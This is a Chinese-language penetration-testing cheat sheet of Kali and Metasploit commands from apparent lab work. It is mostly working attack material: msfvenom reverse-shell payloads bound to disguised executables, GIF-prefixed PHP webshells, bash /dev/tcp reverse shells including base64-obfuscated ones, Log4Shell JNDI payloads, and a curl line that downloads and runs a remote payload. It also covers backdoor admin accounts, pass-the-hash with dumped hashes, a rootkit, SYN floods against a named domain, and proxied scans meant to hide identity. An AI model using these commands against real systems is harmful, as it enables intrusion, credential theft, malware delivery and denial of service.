db_export -f xml /root/bak.xml
# 重置数据库,一般不用执行
# msfdb reinit
msfdb run
hosts
#扫描结果的导入
#扫描结果的导入,另一台kali上执行
db_import /root/bak.xml
snmp_enum snmp信息收集
#靶机开启snmp服务
vi /etc/default/snmpd
# snmpd options (use syslog, close stdin/out/err).
#SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 127.0.0.1'
SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 0.0.0.0'
#重启服务
/etc/init.d/snmpd restart
root@metasploitable:/etc/default# netstat -antup |grep 161
udp 0 0 0.0.0.0:161 0.0.0.0:* 5279/snmpd
msf6> search snmp_enum
use scanner/snmp/snmp_enum
set rhosts 192.168.1.182
run
#可看到一堆信息端口、磁盘、进程、网卡,前提目标开启了snmp服务
SMB 信息收集
msf6> search smb_version
use scanner/smb/smb_version
set rhost 192.168.1.180, 192.168.1.182, 192.168.1.60
run
#需要账号和密码
search smb_enumshares
use scanner/smb/smb_enumshares
set ..
run
SSH 暴力破解
use scanner/ssh/ssh_login
#设置用户和密码字典
set userpass_file /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
ser rhosts 192.168.1.180, 192.168.1.182
set threads 8
run
sessions
sessions -i 1
whoami
python -c '__import__("pty").spawn("/bin/bash")'
pwd
workspace工作区管理
#工作区管理,
msf6 > workspace
* default
#增加工作区,自动切换到该工作区
msf6 > workspace -a test01
#查看工作区
msf6 > workspace
#查看所有工作区中去情况
msf6 > workspace -v
db_nmap端口扫描
#扫描端口,并保存到数据库中
db_nmap -sV 192.168.1.180
#arp 扫描主机
search arp_sweep
use auxiliary/scanner/discovery/arp_sweep
set rhosts 192.168.1.0/24
set threads 8
run
#半连接扫描
search portscan
use auxiliary/scanner/portscan/syn
set ports 1-20000
set rhosts 192.168.1.180
set threads 4
run
psnuffle嗅探FTP/IMAP/POP3/SMB/URL 密码
#使用auxiliary/sniffer下的psnuffle模块进行密码嗅探
msf5> search sniffer
msf6> use sniffer/psnuffle
msf6 auxiliary(sniffer/psnuffle) > run
...
[*] Sniffing traffic.....
[*] Failed FTP Login: 192.168.1.52:34684-192.168.1.180:21 >> root / 123456
[*] Successful FTP Login: 192.168.1.52:33746-192.168.1.180:21 >> msfadmin / msfadmin
# Ctrl+C 后还在后台运行
jobs
#全部kill
jobs -K
#另外开会话,连ftp或lftp,则上面嗅探会获得密码
vi /etc/lftp.conf
## if default ftp passive mode does not work, try this: 被动模式关闭
#set ftp:passive-mode off
set ftp:passive-mode off
lftp -u msfadmin 192.168.1.180
msfdb msfconsole 渗透mysql 空密码测试举例1
#kali 2020.3 2024.2(靶机要更改下mysql不需要skip-ssl连接)
msfdb run
msf5>search mysql_login
msf5>use 0 #或如下
msf5>use auxiliary/scanner/mysql/mysql_login
msf5 auxiliary(scanner/mysql/mysql_login) >show options
msf5 auxiliary(scanner/mysql/mysql_login) >set rhosts 192.168.1.180
msf5 auxiliary(scanner/mysql/mysql_login) >run
msf5 auxiliary(scanner/mysql/mysql_login) >creds
msf5 auxiliary(scanner/mysql/mysql_login) >hosts
msfdb msfconsole 渗透drupal 7测试举例2
msfdb run
msf6> search drupal 7
msf6> use 1
msf6> use multi/http/drupal_drupageddon
show options
set rhosts 192.168.1.180
set targeturi /drupal/
msf6 exploit(multi/http/drupal_drupageddon) > run
#成功
meterpreter>whoami
meterpreter>getuid
Server username: www-data
meterpreter>ls -l
meterpreter>pwd
/var/www
/var/www/html
#进入shell,但回显不正常
shell
find . -name "*setting*"
#配置文件 setting.php 中右连接数据库的密码
cat ./drupal/sites/default/settings.php
#启动完整的终端,
python -c '__import__("pty").spawn("/bin/bash")'
#生成密码
sh ./scripts/password-hash.sh 123456
bash: ./password-hash.sh: /usr/bin/php: bad interpreter: No such file or directory
#php不在/usr/bin/目录下,在/usr/local/bin/目录下:
www-data@metasploitable3-ub1404:/var/www/html$ which php
/usr/local/bin/php
#因此不更改脚本,这样执行就好了:
php ./scripts/password-hash.sh 123456
msfvenom 制作恶意windows程序获取shell
使用msfvenom相关命令时出现了各种报错, 尤其在指定 x86/shikata_ga_nai 编码时报错严重, 今天终于
手工解决, 解决办法是升级 kali 下的 ruby 文件, 具体命令也很简单:
apt-get upgrade ruby
apt-get autoremove
#生成payload
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o msf.exe
#捆绑payload
./binding -m msf.exe -s SecureCRT-kg.exe -i SecureCRT-kg.ico -p c:\\windows\\temp\\
#可以生成哪些
msfvenom --l platforms
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.52 LPORT=4444 -b '\x00\xff' -e x86/shikata_ga_nai -i 10 -f exe -o /tmp/好看视频1.exe
#以上不行,去掉:-b "\0x00" 就好
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.52 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o /tmp/好看视频1.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.52 LPORT=4444 -f raw | msfvenom -a x86 --platform win -e x86/alpha_upper -i 2 -f raw | msfvenom -a x86 --platform win -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x86 --platform win -e x86/countdown -i 5 -f exe -o /tmp/payload.exe
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.52 LPORT=4444 EXITFUNC=thread -f exe -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x04\xa1\xb0\xb7\xEA" -o /tmp/payload2.exe
#以上不行,去掉:-b xx
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.52 LPORT=4444 EXITFUNC=thread -f exe -e x86/shikata_ga_nai -o /tmp/payload2.exe
#ftp传windows下火绒秒杀之!!!
msfvenom 制作恶意linux程序获取shell
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b "\0x00" -i 10 -f elf -o /var/www/html/gamedemo
msf启动 multi/handler监听获取反弹shell
msf5> use multi/handler
msf5 exploit(mlti/hander)> show options
msf5 exploit(mlti/hander)> msf5 exploit(mlti/hander)set LHOST 192.168.1.52
msf5 exploit(mlti/hander)> run
[*] Started reverse TCP handler on 192.168.1.53.4444
gitlab-version-nse
Nmap script to guess* a GitLab version.
gitlab 任意用户密码重置漏洞,CVE-2023-7028, 影响版本16.1 < 16.8.9
git clone https://github.com/righel/gitlab-version-nse
cd gitlab-version-nse
nmap <target> --script ./gitlab_version.nse [--script-args="showcves", --script-args="subdir=/custom-subdir"]
#直连扫描
nmap git.game123.com -p 80 --script ./gitlab_version.nse
#通过代理隐藏身份扫描
proxychains4 nmap git.game123.com -p 80 --script ./gitlab_version.nse
#所有版本存在的cve漏洞
proxychains4 nmap git.game123.com -p 80 --script ./gitlab_version.nse --script-args="showcves"
net user WIN账号命令
net user admin admin /add
chcp 65001
net user
whoami
chcp WIN字符设置
chcp 65001
破解密码
cewl 爬网站生成字典
cewl -v http://dc-2/ -w dict.txt
#保存字典的方法
cewl http://192.168.183.131:1898/?q=node/1 -w xiaoli.txt
#生成自定义的密码,生成长度至少为9位的密码
cewl http://192.168.183.131:1898/?q=node/1 -m 9
#获取电子邮件地址,-e选项来启用Email参数,并配合-n来隐藏在爬取网站过程中生成的密码字典
cewl http://192.168.183.131:1898/?q=node/1 -n -e
webshell 反弹shell脚本
#kali 自带的webshell
cd /usr/share/webshells
ls
asp aspx cfm jsp laudanum perl php
cp /usr/share/webshells/php/php-reverse-shell.php /tmp
php一句话木马
<?php php_info@eval($_POST['secpost']);?>
GIF文件标志木马
cat >> muma1.php <<END
GIF89a
<?php @eval(POST['nishixiaolizi666']);?>
END
<?php @eval(POST?>
生成密码pydictor.py
#install
git clone --depth=1 --branch=master https://www.github.com/landgrey/pydictor.git
cd pydictor/
chmod +x pydictor.py
python pydictor.py -help
#生成密码
python pydictor.py
python pydictor.py -base dLc --len 2 3 -o /opt/passwd.txt
#4-6位纯数字字典
python pydictor.py -base d --len 4 3 -o /tmp/passwd46.txt
#生成支持数字、小写字母与大写字母3者组合的6位字典
python pydictor.py -base dLc --len 6 6 -o /opt/666.txt
#生成含有特殊字符的自定义字符集字典
python pydictor.py -char'@#$%^&*abcdefg12345678' --len 3 5
#生成honker开头的带4位数字的密码
python pydictor.py -base d --len 4 4 --head Honker -o /opt/pass4.txt
#将一本目录下多个字典合并去掉重复的记录
mkdir /tmp/dic
python pydictor.py -base d --len 1 2 -o /tmp/dic/12.txt
python pydictor.py -base d --len 1 3 -o /tmp/dic/13.txt
python pydictor.py -tool uniqbiner /tmp/dic/
生成md5码
touch a.txt
echo "123456" > a.txt
md5sum a.txt
彩虹表rainbowcrack rtgen rcrack
事先将明文加密,排序,比较密文,得到明文
#in kali
apt -y install rainbowcrack
rtgen md5 nmeric 1 6 1 1000 1000 0
rtgen md5 alpha
#6位数和小写字母
rtgen md5 loweralpha-numeric 1 6 1 1000 1000 0
ll -h md5_numeric\#1-6_1_1000x1000_0.rt
echo -n "123456" | md5sum
c0934c25cb1cf6c6c6c4dff81f6c472e
rcrack ./ -h c0934c25cb1cf6c6c6c4dff81f6c472e
..
result
c0934c25cb1cf6c6c6c4dff81f6c472e 123456
hydra 九头蛇
hydra (九头蛇)是著名黑客组织thc的一款开源的暴力破解密码工具,功能非常强大,kali下是默认安装的,几乎支持所有协议的在线破解。密码能否破解,在于字典是否强大。
Hydra支持协议
Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MEMCACHED, MONGODB, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, Radmin, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP。
hydra -l aeolus -P /root/rockyou.txt
#在线破解ssh密码
hydra -L username.txt -P password.txt ssh://192.168.0.125
john 密码破解工具John the Ripper
John the Ripper is an Open Source password security auditing and password recovery tool available for many operating systems.
John the Ripper jumbo supports hundreds of hash and cipher types, including for: user passwords of Unix flavors (Linux, *BSD, Solaris, AIX, QNX, etc.), macOS, Windows, “web apps” (e.g., WordPress), groupware (e.g., Notes/Domino), and database servers (SQL, LDAP, etc.); network traffic captures (Windows network authentication, WiFi WPA-PSK, etc.); encrypted private keys (SSH, GnuPG, cryptocurrency wallets, etc.), filesystems and disks (macOS .dmg files and “sparse bundles”, Windows BitLocker, etc.), archives (ZIP, RAR, 7z), and document files (PDF, Microsoft Office’s, etc.) These are just some of the examples – there are many more
离线破解Linux账号密码
john ./shadow --wordlist=hack-10万密码.txt
xxx2john
-
zip2john
-
zip2john stm32mp151-ami2.0_ONDIE.zip.zip > han.txt
-
rar2john
-
ssh2john
-
putty2john
-
bitlocker2john
-
dmg2john
-
gpg2john
-
keepass2john
-
racf2john
-
vncpcap2john
-
wpapcap2john
-
eapmd5tojohn
-
office2john
┌──(root㉿kali02)-[/usr/sbin]
└─# ls *2john
bitlocker2john gpg2john keepass2john racf2john uaf2john wpapcap2john
dmg2john hccap2john putty2john rar2john vncpcap2john zip2john
──(root㉿kali02)-[/usr/bin]
└─# ls *2john
1password2john deepsound2john krb2john pgpdisk2john
7z2john diskcryptor2john kwallet2john pgpsda2john
adxcsouf2john dmg2john lastpass2john pgpwde2john
aem2john DPAPImk2john ldif2john prosody2john
aix2john ecryptfs2john libreoffice2john pse2john
andotp2john ejabberd2john lion2john ps_token2john
androidbackup2john electrum2john lotus2john pwsafe2john
androidfde2john encfs2john luks2john radius2john
ansible2john enpass2john mac2john restic2john
apex2john ethereum2john mcafee_epo2john sap2john
applenotes2john filezilla2john monero2john sense2john
aruba2john geli2john money2john signal2john
atmail2john hccapx2john mosquitto2john sipdump2john
axcrypt2john htdigest2john mozilla2john ssh2john
bestcrypt2john ibmiscanner2john multibit2john sspr2john
bitcoin2john ikescan2john neo2john staroffice2john
bitshares2john itunes_backup2john office2john strip2john
bitwarden2john iwork2john openbsd_softraid2john telegram2john
bks2john kdcdump2john openssl2john tezos2john
blockchain2john keychain2john padlock2john truecrypt2john
ccache2john keyring2john pcap2john vdi2john
cisco2john keystore2john pdf2john vmx2john
cracf2john kirbi2john pem2john zed2john
dashlane2john known_hosts2john pfx2john
hashcat 密码破解工具
Hashcat 是一款用于破解密码的工具,据说是世界上最快最高级的密码破解工具,支持 LM 哈希、MD4、MD5、SHA 等系列的密码破解,MySQL和Cisco PIX等密码, 同时也支持 Linux、Mac、Windows 平台。
windows可使用显卡解密的工具:hashcat.exe
hashcat.exe –help
gobuster 目录文件爆破工具
Gobuster 是一款用于在Web应用程序中进行目录和文件爆破的开源工具。它通过尝试在目标网站上枚举常见路径和文件,以便发现潜在的敏感目录和文件。Gobuster支持多种协议和自定义字典,具有高度可定制性。
apt install gobuster
gobuster dir -u https://buffered.io/ -w dir.txt
gobuster dir -u https://buffered.io/ -w dir.txt --no-error
gobuster dir -u https://mysite.com/path/to/folder -c 'session=123456' -t 50 -w common-files.txt -x .php,.html
gobuster dns -d xiaodi8.com -w subdomains-top100000.txt -t 20
gobuster dns -d xiaodi8.com -w subdomains-top100000.txt -t 20 -i
gobuster vhost -u http://www.xiaodi8.com -w parameter.txt
gobuster fuzz -u https://example.com?FUZZ=test -w parameter.txt
gobuster tftp -s www.aqww3.xyz -w tftp.txt
sqlmap 自动SQL注入工具
sqlmap -u "http://192.168.0.39/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-xxx --dbs -p list[fullordering]
sqlmap -r search.txt --batch -D Staff -T UserDetails -C username -C password --dump
sqlmap -u "http://192.168.0.30/?nid=3" --batch --dbs -D d7db --tables
sqlmap -u "http://xxlocalhost/index.php?option=com_fields&view=fields&layout=moda&list[fullordering]=updatexml" -- risk=3 --level=5 --random-agent --dbs -p list[fullordering]
sqlmap -u "http://192.168.0.31/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T "#__users" -C "username,password" --dump
fail2ban 防御暴力破解
yum -y install fail2ban
vim /etc/fain2ban/jail.conf
bantime = 3600
findtime = 300
maxretry = 3
ssh 192.168.0.203
systemctl start fail2ban.service
iptables -L -n
fail2ban-client status sshd
#放开ip
fail2ban-client set sshd unbanip 192.168.0.202
cs生成后门程序 CobaltStrike
测试中不可缺少的利器。其拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 渗透!,文件捆绑,钓鱼等功能。同时,Cobalt Strike 还可以调用 Mimikatz 等其他知名工具,因此广受黑客喜爱,我们可以简称为 CS。
使用 Xshell 连接 Kali 并上传 CobaltStrike4.3.zip
unzip CobaltStrike4.3.zip
cd CobaltStrike4.3
chmod +x teamserver start.sh
#启动服务端
└─# ./teamserver 192.168.1.53 123456
#启动客户端
└─# ./start.sh
binding 捆绑恶意程序
#命令参数:./binding -m 木马文件 -s 正常文件 -i icon 图标 -p 文件释放路径
-p 可选参数,指定文件释放路径,默认路径: C:\Users\Public\
apt install golang -y
go version
#生成payload
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o msf.exe
chmod + binding
#捆绑
./binding -m shell.exe -s SecureCRT-kg.exe -i SecureCRT-kg.ico
#也可以指定释放目录,比如:
./binding -m shell.exe -s SecureCRT-kg.exe -i SecureCRT-kg.ico -p c:\\windows\\temp\\
ls output/payload.exe
#下载到本地,注意关闭杀软,cs 生成的 exe 文件会报毒。
sz output/payload.exe
keepass2 密码保密保存工具
密码安全存放,不过它的保护密码也是可以暴力破解的,所以密码要设置得特别复杂,否则也不安全。
#install in kali
apt install keepass2
#图形化中看文件中保存得密码数据(需要图形终端)
keepass2 /tmp/keyfile.kdbx
#破解
keepass2john /tmp/keyfile.kdbx > keepass.txt
rockyou 字典获取
┌──(root㉿kali02)-[~]
└─# wordlists
> wordlists ~ Contains the rockyou wordlist
/usr/share/wordlists
├── amass -> /usr/share/amass/wordlists
├── dirb -> /usr/share/dirb/wordlists
├── dirbuster -> /usr/share/dirbuster/wordlists
├── dnsmap.txt -> /usr/share/dnsmap/wordlist_TLAs.txt
├── fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
├── fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
├── john.lst -> /usr/share/john/password.lst
├── legion -> /usr/share/legion/wordlists
├── metasploit -> /usr/share/metasploit-framework/data/wordlists
├── nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
├── rockyou.txt.gz
├── sqlmap.txt -> /usr/share/sqlmap/data/txt/wordlist.txt
├── wfuzz -> /usr/share/wfuzz/wordlist
└── wifite.txt -> /usr/share/dict/wordlist-probable.txt
Do you want to extract the wordlist rockyou.txt? [Y/n]
Y
#复制字典到自己目录使用
cp /usr/share/wordlists/rockyou.txt /tmp
图片里藏东西
exiftool 查看文件信息
exiftool h1dd3.jpg
steghide 隐写
apt install steghide
steghide extract -sf hidd3n.jpg
Enter passphrase:
wrote extract data to "n30.txt"
cat n30.txt
P4$$w0rd
ssh n30@ip
binwalk
抽取出隐藏在图片文件中的文件
apt install binwalk
binwalk --run_as=kali -e 1.png
加密解密
emoj-aes
https://aghorler.github.io/emoji-aes/
博福特密码转换
https://www.metools.info/code/beaufort207.html
埃特巴什码
http://www.hiencode.com/atbash.html
在线AES/DES/RC4/Rabbit/MD5/TripleDes等加解密
https://www.sojson.com/encrypt.html
攻击
lastb 显示最后登录用户
Show a listing of last logged in users
Linux反弹Shell
#正常
# -i 意为创建一个交互式的bash shell
bash -i > /dev/tcp/192.168.1.52/4444 2>&1 0>&1
#精简版本
# >& 将标准输出和错误输出重定向
bash -i >& /dev/tcp/192.168.1.52/4444 0>&1
#启动监听反向连接的server
nc -nvlp 4444
# -l 处于监听模式,nc被当作server,侦听并接受连接
# -p 指定端口
# -v 显示详细信息
# -n 直接显示IP,不解析成dns域名
#整体执行
bash -c "bash -i >& /dev/tcp/192.168.1.52/4444 0>&1"
#整体base64后编码执行
bash -c "{echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTIvNDQ0NCAwPiYx|base64 -d|bash}"
#xml中配置shell执行
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.1.52/4444 0>&1]]></value>
</list>
反弹shell log4shell漏洞利用
#local machine ,example 192.168.1.52
nc -nvlp 4444
#target machine, on any exploid languange run shell
bash -i >& /dev/tcp/192.168.1.53/4444 0>&1
#run base64
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTMvNDQ0NCAwPiYx|base64 -d|bash
#整体执行
bash -c "{echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTMvNDQ0NCAwPiYx}|{base64 -d}|bash"
“bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoICY+L2Rldi90Y3AvMTkyLjE2OC4xLjUyLzQ0NDQgMD4mMSc=}|base64,-d}|{bash,-i}”
#JNDI log4j
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTIvNDQ0NCAwPiYx}|{base64,-d}|bash" -A 192.168.1.52
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTMvNDQ0NCAwPiYx}|{base64,-d}|bash" -A 192.168.1.53
#每次重启java -jar会变化后面的路径
{jndi:ldap://192.168.1.52:1389/hbx7d0}
#ur编码
%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%35%32%3a%31%33%38%39%2f%68%62%78%37%64%30%7d
#运行payload
#浏览器中,直接粘贴可以
http://192.168.1.63:8983/solr/admin/cores?action={jndi:ldap://192.168.1.52:1389/hbx7d0}
#curl中,需要url编码
curl http://192.168.1.63:8983/solr/admin/cores?action=%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%35%32%3a%31%33%38%39%2f%68%62%78%37%64%30%7d
shell返回给msf
#listen in kali
msfdb run
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.53
msf6 exploit(multi/handler) > set lport 5555
msf6 exploit(multi/handler) > run
#等反弹连到这里后,可以自由操作以下
bg
sessions
sessions -i 1
#kali host
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.52 lport=5555 -f elf -o /var/www/html/nc2msf525555
systemctl start apache2
#target host
curl -so /tmp/nc2msf5555 http://192.168.1.52/nc2msf525555;chmod +x /tmp/nc2msf5555;/tmp/nc2msf5555;rm -f /tmp/nc2msf5555
ssh 远程登录
ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorith PubkeyAcceptedKeyTypes=+ssh-rsa abc
SSH 敲门
SSH 敲门(Port Knocking)是一种网络安全技术,它通过一系列预先定义的端口访问序列来动态开放或关闭服务器的服务端口(如SSH端口)。只有发送了正确的敲门序列的客户端才能触发防火墙规则的变化,进而访问被保护的服务。这种技术可以有效防止未经授权的访问和扫描攻击,因为攻击者很难知道正确的敲门序列。
实现 SSH 敲门的方法和工具
#install Debian/Ubuntu
sudo apt-get install knockd
#install CentOS/Fedora
sudo yum install knockd
#config
cat >> /etc/knockd.conf<<END
[options]
logfile = /var/log/knockd.log
[openSSH]
sequence = 7000,8000,9000
seq_timeout = 5
command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9000,8000,7000
seq_timeout = 5
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
END
启动 knockd 服务
sudo systemctl start knockd
sudo systemctl enable knockd
使用 knock 命令测试
knock <server_ip> 7000 8000 9000
使用nmap敲门
for x in 7000 8000 9000;do nmap -Pn --max-retries 0 -p $x 192.168.1.52;done
hping3 SYN洪水
hping3 -h
hping3 -S -p 80 --flood --rand-source www.usamm.com
#SYN攻击 -c 发送包的数量 -d 数据包的大小 -S 只发送SYN数据包 -p 端口 --flood 不要考虑显示入站回复,洪水攻击模式 --rand-source 使用随机的源IP地址
hping3 -c 100000 -d 120 -S -p 80 --flood --rand-source 192.168.1.180
#目标机器上看到一堆,且机器缓慢
netstat -antup |grep SYN_RECV
WIN渗透成功后执行后续攻击
sysinfo //显示远程主机的系统信息
getuid //查看用户身份
screenshot //对远程主机当前屏幕进行截图
shell //获得shell控制台权限
进行后门植入(植入新的管理员账户)
net user jack 123 /add
net localgroup administrators jack /add
net user
net localgroup administrators
在靶机上查看验证结果
net user
net localgroup administrators
使用Guest账户
meterpreter >shell
C:\Windows\system32> chcp 65001
#激活Guest用户
net user Guest /active:yes
#设置密码
net user Guest 123456
#将Guest用户加入管理员组
net localgroup Administrators Guest /add
#其他动作略。。。注意授权,遵纪守法,切勿为所欲为。。。
#将guest账户恢复回去
#删除Guest用户密码
net user Guest ""
#将Guest移除管理员组
net localgroup Administrators Guest /del
#禁用Guest用户
net user Guest /active:no
#当前程序那个用户运行的,才可以屏幕截图和键盘监听
ps -S explorer
migrate xxxx
impacket
Impacket是一个用Python编写的库,用于处理SMB/CIFS协议、Windows身份验证和其他相关任务
Impacket是一个用于网络协议的Python类库,主要用于对SMB、MSRPC、NTLM、Kerberos、WMI、LDAP等协议进行低级编程访问。它允许开发人员通过一系列的Python类和方法构造协议对应的数据包,也可以将服务器返回的原始数据包“反序列化”为对应的Python类,从而进行网络协议分析、渗透测试、漏洞利用等任务。
https://github.com/fortra/impacket
安装方法(kali已自带安装好了):
pip install impacket
#或
python3 -m pipx install impacket
impacket-psexe
impacket-psexec是一个强大的工具,主要用于在远程计算机上执行命令。它是Impacket工具集的一部分,Impacket是一个用Python编写的库,用于处理SMB/CIFS协议、Windows身份验证和其他相关任务。
原理和功能
impacket-psexec通过SMB协议与远程计算机进行通信,利用Windows的SMB服务进行身份验证和命令执行。它支持密码、NTLM哈希和票据认证方式,适用于多种认证场景。此外,impacket-psexec还可以通过RPC创建服务,执行命令并将结果返回给客户端
使用明文密码连接
impacket-psexec Administrator:123456@192.168.1.60 -codec gbk
使用hash连接
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
<user>:<UID>:<LM hash code>:<NTLM hash code>:::
#需要使用NTLM hash登录
impacket-psexec Administrator@192.168.1.60 -hashes :32ed87bdb5fdc5e9cba88547376818d4 -codec gbk
impacket-smbexec
使用impacket-smbexec连接目标机获取信息
smbexec整体和psexec类似,但psexec会上传exe并创建服务,smb则利用一个.bat批处理文件和一个临时文件来执行和转发消息。
明文密码连接
└─# impacket-smbexec administrator:123456@192.168.1.60 -codec gbk -debug
或HASH连接
└─# impacket-smbexec administrator@192.168.1.60 -hashes :32ed87bdb5fdc5e9cba88547376818d4 -codec gbk -debug
Diamorphine rootkit Linux上隐藏文件和进程
Diamorphine is a LKM rootkit for Linux Kernels 2.6.x/3.x/4.x/5.x/6.x (x86/x86_64 and ARM64)
https://github.com/m0nad/Diamorphine
- When loaded, the module starts invisible;
- Hide/unhide any process by sending a signal 31;
- Sending a signal 63(to any pid) makes the module become (in)visible;
- Sending a signal 64(to any pid) makes the given user become root;
- Files or directories starting with the MAGIC_PREFIX become invisible;
install diamorphine
#Verify if the kernel is 2.6.x/3.x/4.x/5.x
uname -r
git clone https://github.com/m0nad/Diamorphine
cd Diamorphine
make
#Load the module(as root)
insmod diamorphine.ko
#查看,看不到, kill -63 0
lsmod |grep diamo
uninstall diamorphine
#The module starts invisible, to remove you need to make it visible
kill -63 0
lsmod |grep diamo
#Then remove the module(as root)
rmmod diamorphine
CVE-2018-8174漏洞利用
2018年5月8日官方发布了安全补丁。
##没有了git clone https://github.com/iBearcat/CVE-2018-8174_EXP.git
git clone https://github.com/ericisnotrealname/CVE-2018-8174_EXP.git
python2 CVE-2018-8174.py -u http://192.168.1.52/exploit.html -o exp.rtf -i 192.168.1.52 -p 4444
#面报错,需要用python2,方法如下
#注:没有合适靶机,暂时实验不成功
Install Python2 For Kali
git clone https://github.com/chromanite/Python-2.7.git
cd Python-2.7
chmod +x setup.sh
./setup.sh
python2
git hack
pipx run githacker --url http:/xxxx/.git/ --output-folder ezezer
git log --all
git reset --hard
pwn
//查询题目程序中的有没有system函数
objdump -d -j .plt ./ret2libc1_32 |grep system)
//查询程序二进制代码中有没有binsh
ROPgadget --binary ./ret2libc1_32 --string “/bin/sh”
//查看可执行文件需要哪些动态依赖库。(ldd本身不是一个程序,而仅是一个shell脚本:ldd可以列出一个程序所需要得动态链接库(so))
ldd 文件名
二进制漏洞
常见的二进制漏洞介绍
- *栈溢出漏洞(Stack-Overflow)*
-
*堆溢出漏洞(Heap-Overflow)*
-
*释放后重引用漏洞(Use-After-Free)*
-
*双重释放漏洞(Double-Free)*
-
*越界访问漏洞(Out-of-bounds)*
二进制漏洞挖掘常用工具
GDB: Linux调试中必要用到的
gdb-peda、pwndbg、gef: GDB调试插件
pwntools:写exp和poc的利器
libc-databases:可以通过泄露的libc的某个函数地址查出远程系统是用的哪个libc版本
checksec:可以很方便的知道elf程序的安全性和程序的运行平台
objdump :可以很快的知道elf程序中的关键信息
readelf:可以很快的知道elf程序中的关键信息
ida pro:反汇编工具
ROPgadget:强大的rop利用工具
one_gadget:可以快速的寻找libc中的调用exec(‘bin/sh’)的位置
php 所有可执行渗透命令的语句
echo `whoami`;
passthru("whoami");
system("whoami");
echo exec("whoami")."\n";
echo shell_exec("whoami");
eval("echo 'php commmand here'")
php convert
如同 string.* 过滤器,convert.* 过滤器的作用就和其名字一样。
/index.php?file=php://filter/convert.base64-decode/resoure=uploads/1.jpg
php远程代码执行漏洞
安全相关网址大全
软件
kali
官网: https://www.kali.org/
旧镜像下载地址: http://old.kali.org/kali-images/
metasploit
https://metasploit.com/
漏洞报告SRC网站
企业SRC
安全KER(SRC导航): https://www.anquanke.com/src
腾旭安全应急响应中心: https://security.tencent.com/
字节跳动安全中心: https://security.bytedance.com/
百度安全应急响应中心: https://bsrc.baidu.com/v2/#/home
360安全应急响应中心: https://security.360.cn/
…
公益SRC
漏洞盒子: https://src.vulbox.com/
安奇信补天漏洞响应平台: https://qianxin.butian.net/
教育漏洞报告平台: https://src.sjtu.edu.cn/
众测平台
补天众测: https://zhongce.butian.net/
漏洞盒子: https://src.vulbox.com/
雷神众测: https://www.bountyteam.com/
火线安全平台: https://www.huoxian.cn/
360l漏洞云安全众测: https://zhongce.360.net/
攻防工具软件资源:
https://eol.shzu.edu.cn/meol/homepage/course/listview.jsp?lid=36658&folderid=151537398
DNS查询
阿里云whois:
https://whois.aliyun.com/
站长之家:
http://whois.chinaz.com/
搜索引擎挖掘
